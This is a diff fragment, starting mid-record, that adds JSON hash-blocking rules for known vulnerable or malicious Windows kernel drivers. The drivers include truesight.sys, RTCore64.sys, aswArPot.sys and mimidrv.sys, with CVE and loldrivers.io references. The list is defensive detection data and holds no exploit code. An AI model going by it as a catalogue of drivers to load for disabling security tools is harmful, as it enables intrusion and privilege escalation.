+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20f199fb2ab7e0fab4b6acf42758eef858e92fb9bdb393ef27b2cdac4e2c7cd9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59a15016-df38-5aa3-ac03-b50fe2847693",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476738Z",
+  "creation_date": "2026-03-23T11:45:30.476742Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476751Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b22adc61900fbdc26629dc1135344d878f6a368ec6df0d4ec374559cb669182",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59a6c8f3-81d6-51b7-a65e-2cb4970fd828",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985100Z",
+  "creation_date": "2026-03-23T11:45:29.985102Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985107Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42de79eb237293befb1b954beaf92b832f947195e3c359048aaa464ead56b62d",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59b0ec94-a57d-5ade-ad45-b89bb8d2777c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818846Z",
+  "creation_date": "2026-03-23T11:45:31.818849Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4a58f058a2a1dfa89c48a813bbca325f850e90766f7061b664c1c7ea0077c2e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59b9fdbd-9ee7-5799-bfe6-c3f22d1f82f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814944Z",
+  "creation_date": "2026-03-23T11:45:31.814954Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814963Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34491f04384ba04126640ded17704d1aab2a1db415c93fbc718b6c680fc8a12b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59c11618-9b7a-5c9c-9313-78e1fc587563",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824084Z",
+  "creation_date": "2026-03-23T11:45:31.824088Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90e329a85e21dea3cb0726b2377e43bb2b7af4549caf6f8bd90526af4863b35c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59c22c02-d921-5ffd-b1ab-6f577c9c0697",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619337Z",
+  "creation_date": "2026-03-23T11:45:29.619339Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619345Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59db818d-3cad-5d9e-a7a2-04a41591eb94",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823572Z",
+  "creation_date": "2026-03-23T11:45:30.823574Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823580Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5f9c3e3bf7efab4013d1db04e09abc90f1c7e2eaf0709ab8dc75b1ab9c2ff91",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59f0ef64-0889-5a83-b08a-ac2c3c625bd0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491033Z",
+  "creation_date": "2026-03-23T11:45:31.491037Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cde0c2744775258f44f1c282220501a98ad3f32566b77e926475c50477f1f653",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59f2f54b-d430-5bc3-898b-508da5f424d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981506Z",
+  "creation_date": "2026-03-23T11:45:29.981508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af298d940b186f922464d2ef19ccfc129c77126a4f337ecf357b4fe5162a477c",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "59f4cb30-d3ac-57f5-b3bd-8578242f54ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607765Z",
+  "creation_date": "2026-03-23T11:45:29.607767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aafb95a443911e4c67d4e45ffa83cca103c91b42915b81100534dc439bec0c1b",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a00cbc4-24b1-5572-9730-9edd2dc28ac4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825915Z",
+  "creation_date": "2026-03-23T11:45:30.825918Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825926Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da2d5db1dde9313c86e08591f58fa10344ec32173d293376b8838cdf4206dda8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a034ef9-2cfb-5ae3-bd5b-00156639cee0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986136Z",
+  "creation_date": "2026-03-23T11:45:29.986138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986144Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6a7a497010579fde69cd52bed8de28db610c33bbc5ce0774459dcf64657b802",
+  "comment": "Vulnerable Kernel Driver (aka directio.sys) [https://www.loldrivers.io/drivers/a2c3f6e9-25a5-4b75-8c6b-ad2d4e155822/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a1fc55a-9f65-5213-9f99-a4e2e163a119",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828825Z",
+  "creation_date": "2026-03-23T11:45:30.828827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd96a63f6fdc50f67cd7cbc5e2bd8173c014254a80dd30f89474ac607f80a63a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a255d95-da22-5b78-8cfc-c2048fb34254",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823452Z",
+  "creation_date": "2026-03-23T11:45:30.823455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823465Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c1ca510e02e5b44f0999db444da05d4b1883621043ca396b8a41e3271e84602",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a33df7c-5145-58a3-873a-369dc71a051e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969733Z",
+  "creation_date": "2026-03-23T11:45:29.969735Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969741Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a801e12c32c0eb197b3cc507d096afc16a32dca6bc71d080e1ae2c17ad13b2ca",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a383163-6778-524b-90fa-ff5513e087aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817498Z",
+  "creation_date": "2026-03-23T11:45:31.817500Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817505Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "556356bb664b9f3a221075c070e3eddc0470eb5e38efaf2a8bdac6ed0c4a3159",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a402dbb-5c0c-50ef-8168-28b66a807f56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462919Z",
+  "creation_date": "2026-03-23T11:45:30.462922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462931Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f03f0fb3a26bb83e8f8fa426744cf06f2e6e29f5220663b1d64265952b8de1a1",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a409913-94aa-5b80-bcc7-41f272dfdfb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969768Z",
+  "creation_date": "2026-03-23T11:45:29.969770Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969775Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60ae64ade82e9364e95f779bbf950571484aa833ece6837489329517012c7757",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a4957aa-f52d-57d5-a93d-c649dca517f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473484Z",
+  "creation_date": "2026-03-23T11:45:30.473488Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473497Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "baec06b150e0298136275860ecb0aae08a9bd731ef14d255fc729c4bd7e4d832",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a4fcbe9-01a9-55ef-9a40-87531ad89cea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831531Z",
+  "creation_date": "2026-03-23T11:45:30.831533Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831538Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fead8e6283e71d49cdf327f467bd26aa68db79434c82851be34e7652a20a5258",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a5c39f0-e244-5356-a900-4da6fb1636e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985339Z",
+  "creation_date": "2026-03-23T11:45:29.985340Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985346Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9b49b52b493b53cd49c12c3fa9553e57c5394555b64e32d1208f5b96a5b8c6e",
+  "comment": "Dangerous Physmem Kernel Driver (aka Se64a.Sys) [https://www.loldrivers.io/drivers/d819bee2-3bff-481f-a301-acc3d1f5fe58/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5a5f081d-c6ea-55a1-80e1-02928dc58158",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611079Z",
+  "creation_date": "2026-03-23T11:45:29.611081Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a50cf5d2189991851565fa73e205b0b56759de78ff415d0f2d3186fb6228b15f",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
